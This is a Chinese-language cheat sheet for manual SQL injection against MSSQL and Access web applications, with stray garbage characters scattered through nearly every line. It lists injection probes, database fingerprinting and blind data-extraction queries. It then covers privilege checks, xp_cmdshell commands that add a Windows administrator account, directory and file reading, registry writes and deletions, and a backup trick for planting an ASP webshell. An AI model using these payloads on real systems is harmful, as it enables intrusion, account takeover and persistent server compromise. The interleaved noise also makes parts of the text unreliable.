手工脚本注入 e0 s! Q* i0 ^& v! _! z! u
1.判断是否有注入;and 1=1 ;and 1=2 3 x' f6 S8 Z. H0 t8 n
5 z. ` p) `! P6 Q7 a; Y* q2.初步判断是否是mssql ;and user>0
8 k9 I W ^- {+ C0 A
~2 a7 e0 @# l! m5 [' e* i# E3.注入参数是字符'and [查询条件] and ''=' ' V b& H- k+ f& Y/ l7 L
) |1 ^7 V" T. C0 g3 U+ i7 h. S
4.搜索时没过滤参数的'and [查询条件] and '%25'='
5 q T$ Y4 [' U$ @
- e y' T' z* e+ E5.判断数据库系统 h- r9 z; d/ Z( l2 t
;and (select count(*) from sysobjects)>0 mssql
# Z7 B; k: j: a# a7 @: r" F! p9 a;and (select count(*) from msysobjects)>0 access
0 A, V7 P& w4 w* z: |% Y1 X Z, d6 h2 d
6.猜数据库 ;and (select Count(*) from [数据库名])>0 / j6 \5 |0 M2 t. N/ ~
# {5 j1 [8 Z- m9 ]1 |3 A$ ^7.猜字段 ;and (select Count(字段名) from 数据库名)>0
# n, K" A% h% v" o$ Q- s: e
! l# R9 u1 T: F2 q, ~8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9 ^+ @- U+ r) q* Z( m5 I" s; U% H. r' B7 x. S7 I2 [$ k
9.(1)猜字段的ascii值(access) 4 I1 l# X5 U; ]+ s
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ) Y+ Z- n3 v1 d, X& l" I+ W% d
7 q7 B) }' ?5 { @3 P
(2)猜字段的ascii值(mssql) - y( w' a% ]( Q+ A/ N
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
% W$ ^1 [8 i# `1 d R6 z: A3 S/ N8 p* ]2 D) W' @: q4 t$ M4 p
10.测试权限结构(mssql) & M, @' Y" i* S9 X3 B5 w/ d
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- # W6 ^+ X9 K2 D8 O
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
1 y5 Q/ a* o' x* g, j;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
- [# g, X& y8 q;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
A" j7 N, H! v0 ];and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
" z; S& |. n9 T;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& Z; B. A' D& f;and 1=(select IS_MEMBER('db_owner'));-- 7 G9 J$ q% B5 L1 n
6 P m# H) Y3 w/ b11.添加mssql和系统的帐户
1 @9 x6 ~! j! I;exec master.dbo.sp_addlogin username;--
; N! ?8 l8 j2 r2 k D$ u3 L. g* T8 B' c o* f
;exec master.dbo.sp_password null,username,password;--
; }* c- \2 |" {* c9 Y+ w& Y; D F' b5 g0 s2 b3 r% k
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
$ X3 `) \& L2 p" e' P1 q2 O. ~5 l
7 y1 K( x+ O2 C- N2 ~( @;exec master.dbo.xp_cmdshell 'net user username password ( f- e& G% `- f5 T
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- , }4 a% I; G* E I
% a# v$ J- `' P( N. Y
;exec master.dbo.xp_cmdshell 'net user username password /add';--
1 p9 r# q0 q- n$ [& f0 d' I
8 U5 [0 x) O/ a' M2 j;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 K: M6 F3 S, D0 I! b
8 Q8 T) G8 V, k7 V2 I
12.(1)遍历目录
5 a2 L/ b. B! d, W3 s/ P
' _9 u) F6 g& `$ b; L4 M( _) f# x;create table dirs(paths varchar(100), id int) 7 U* M* \# S, L% G9 N$ Q4 K& U
;insert dirs exec master.dbo.xp_dirtree 'c:\'
& P! x& H- O% P8 }2 \" y* L;and (select top 1 paths from dirs)>0 9 _. P* |, D q/ V
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
, f2 d' P/ s6 |$ u5 t
( @0 @ g& M; t$ E) p' d! n(2)遍历目录
; I, {$ Q/ m, Q;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0 [$ J P1 `: }
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ; F2 [$ u: t/ P- Y+ E8 z
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
( i/ l2 l" B5 D1 D; u: E;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 * e9 b4 z1 _2 f5 \( ?# V
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
( `: ^6 f h2 J3 m: |8 @, y+ d2 W$ O! [; d
13.mssql中的存储过程
) z7 A/ T$ B1 k; V5 }; w
8 D* y& c8 V1 \9 x k8 `xp_regenumvalues 注册表根键, 子键 2 E2 U7 A" g; Z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
) Y$ c. x6 k' m3 H% a% y
# W% \" p6 n# l+ l7 X! u! k7 xxp_regread 根键,子键,键值名
3 A# \ Y: c3 J- A9 O/ U% B' Q3 [& R;exec xp_regread
6 U( D7 B$ S9 E+ o% x2 \; \'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
+ I5 g, ]. j7 N& g; H8 ^
8 j7 R( j: b4 [" Z9 D1 t' g$ M& Pxp_regwrite 根键,子键, 值名, 值类型, 值 ' p9 I/ l1 P9 c5 B* L
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ! k4 Q5 F) x& z1 p3 P6 n
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
6 [- n+ w# K( q6 s- m& ^0 T2 s4 K+ D! r; L6 K) A) Y( p
xp_regdeletevalue 根键,子键,值名
/ P/ M$ u* j5 N; ]9 I7 C+ ^/ J7 [4 a v3 D7 f5 J
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
D% [! W( z5 m' m% Z
8 t7 |: [1 ?$ [" Txp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8 `0 g' p: t& R3 _& z
6 g. l7 h, P& _" M14.mssql的backup创建webshell 0 ~7 Z/ ?8 V' E/ ~) r: _! k, d
use model
E M- P4 [2 F5 ^create table cmd(str image);
1 M. Y/ h& B. D8 Z, Winsert into cmd(str) values ('');
a* \2 a, [; E3 tbackup database model to disk='c:\l.asp'; ; c* G \) e7 V* i
! S4 Q* g9 W+ _* C15.mssql内置函数
7 ?; H# {+ m3 z* Y K;and (select @@version)>0 获得Windows的版本号 9 L1 u+ l# D7 i4 _1 E0 R' _
;and user_name()='dbo' 判断当前系统的连接用户是不是sa k( H. X9 v2 p6 d, S' ]7 F% I
;and (select user_name())>0 爆当前系统的连接用户
$ ^3 v( S$ d6 E1 ?& y- d% ?( f# E;and (select db_name())>0 得到当前连接的数据库
! ?/ Z, Q& L. H3 L& x4 A
( z+ k* F- m8 a% g% s: ^7 h% z: x; O16.简洁的webshell 4 V" x: ?& P/ Q8 V C- `
9 k- @5 P3 H- a/ A7 v: `; Iuse model 0 [& i* B$ u2 ]4 @1 H
6 g! m( w# a) L3 X- F3 j) Z0 i
create table cmd(str image); 5 i9 W" e9 W" d) @
7 u- |- \+ d# U L" a$ `insert into cmd(str) values ('');
7 f: j& h5 s/ H& }
$ Z% f' x. b4 S# J, cbackup database model to disk='g:\wwwtest\l.asp';
+ c% P; [0 e% o6 y, \, E+ ^ 0 w( Z+ _4 x3 q% b( u
|